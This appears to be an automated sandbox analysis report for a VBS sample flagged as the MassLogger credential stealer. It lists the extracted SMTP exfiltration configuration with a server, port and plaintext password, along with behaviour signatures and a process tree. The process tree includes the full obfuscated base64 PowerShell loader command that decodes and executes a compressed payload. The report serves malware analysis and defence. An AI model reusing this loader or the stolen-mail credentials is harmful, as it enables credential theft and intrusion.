Analysis
- max time kernel
149s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
- submitted
08/11/2025, 16:47
General
- Target RFQ-SDS-11152022(1)_20250215095300.635_X.vbs
- Size 248KB
- Sample251108-vansws1rap
- SHA256 10d96a57b4a446b30816229307984a151f1d319eb8e25fdffb0b6185055f778a
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.catarinomoreira.pt
-
Port
587
-
Username
-
Password
armz%cata-Z-2020
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-11-07
-
host_password
armz%cata-Z-2020
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.catarinomoreira.pt
-
ssl_slate
True
Signatures
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 2 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ-SDS-11152022(1)_20250215095300.635_X.vbs"1⤵
-
C:\Windows\system32\cmd.execmd.exe /c C:\\Users\\Public\\PasturePlace.bat1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Public\PasturePlace.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Public\PasturePlace.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -noni -ep bypass -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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'.Replace('uoakhqpwpaqk','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Accesses Microsoft Outlook profiles
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xpqnvxrw.rsa.ps1
PasturePlace.bat
memory/1528-28-0x0000000007DA0000-0x0000000007DD2000-memory.dmp
memory/1528-37-0x0000000007DE0000-0x0000000007DFE000-memory.dmp
memory/1528-7-0x0000000005C80000-0x00000000062A8000-memory.dmp
memory/1528-8-0x0000000005B70000-0x0000000005B92000-memory.dmp
memory/1528-9-0x0000000005C10000-0x0000000005C76000-memory.dmp
memory/1528-39-0x0000000007E10000-0x0000000007EB3000-memory.dmp
memory/1528-5-0x0000000005570000-0x00000000055A6000-memory.dmp
memory/1528-18-0x00000000063E0000-0x0000000006734000-memory.dmp
memory/1528-19-0x0000000006930000-0x000000000694E000-memory.dmp
memory/1528-20-0x00000000069D0000-0x0000000006A1C000-memory.dmp
memory/1528-21-0x0000000008270000-0x00000000088EA000-memory.dmp
memory/1528-22-0x0000000006E40000-0x0000000006E5A000-memory.dmp
memory/1528-23-0x0000000007BF0000-0x0000000007C86000-memory.dmp
memory/1528-24-0x0000000007AF0000-0x0000000007B12000-memory.dmp
memory/1528-25-0x00000000088F0000-0x0000000008E94000-memory.dmp
memory/1528-27-0x000000007FA00000-0x000000007FA10000-memory.dmp
memory/1528-4-0x0000000005640000-0x0000000005650000-memory.dmp
memory/1528-29-0x0000000070A50000-0x0000000070A9C000-memory.dmp
memory/1528-6-0x0000000005640000-0x0000000005650000-memory.dmp
memory/1528-38-0x0000000005640000-0x0000000005650000-memory.dmp
memory/1528-10-0x00000000062B0000-0x0000000006316000-memory.dmp
memory/1528-40-0x0000000007F10000-0x0000000007F1A000-memory.dmp
memory/1528-41-0x0000000008070000-0x0000000008081000-memory.dmp
memory/1528-42-0x0000000007D90000-0x0000000007D98000-memory.dmp
memory/1528-43-0x0000000007F10000-0x0000000007F20000-memory.dmp
memory/1528-45-0x0000000008090000-0x00000000080AE000-memory.dmp
memory/1528-46-0x0000000008150000-0x00000000081EC000-memory.dmp
memory/1528-47-0x00000000090C0000-0x0000000009152000-memory.dmp
memory/1528-48-0x0000000009020000-0x0000000009070000-memory.dmp
memory/1528-49-0x0000000005640000-0x0000000005650000-memory.dmp
memory/1528-50-0x0000000005640000-0x0000000005650000-memory.dmp
memory/1528-51-0x000000007FA00000-0x000000007FA10000-memory.dmp
memory/1528-52-0x0000000009370000-0x0000000009532000-memory.dmp
memory/1528-53-0x0000000005640000-0x0000000005650000-memory.dmp
memory/1528-54-0x0000000005640000-0x0000000005650000-memory.dmp
memory/1528-55-0x0000000009260000-0x000000000926A000-memory.dmp
memory/1528-57-0x0000000005640000-0x0000000005650000-memory.dmp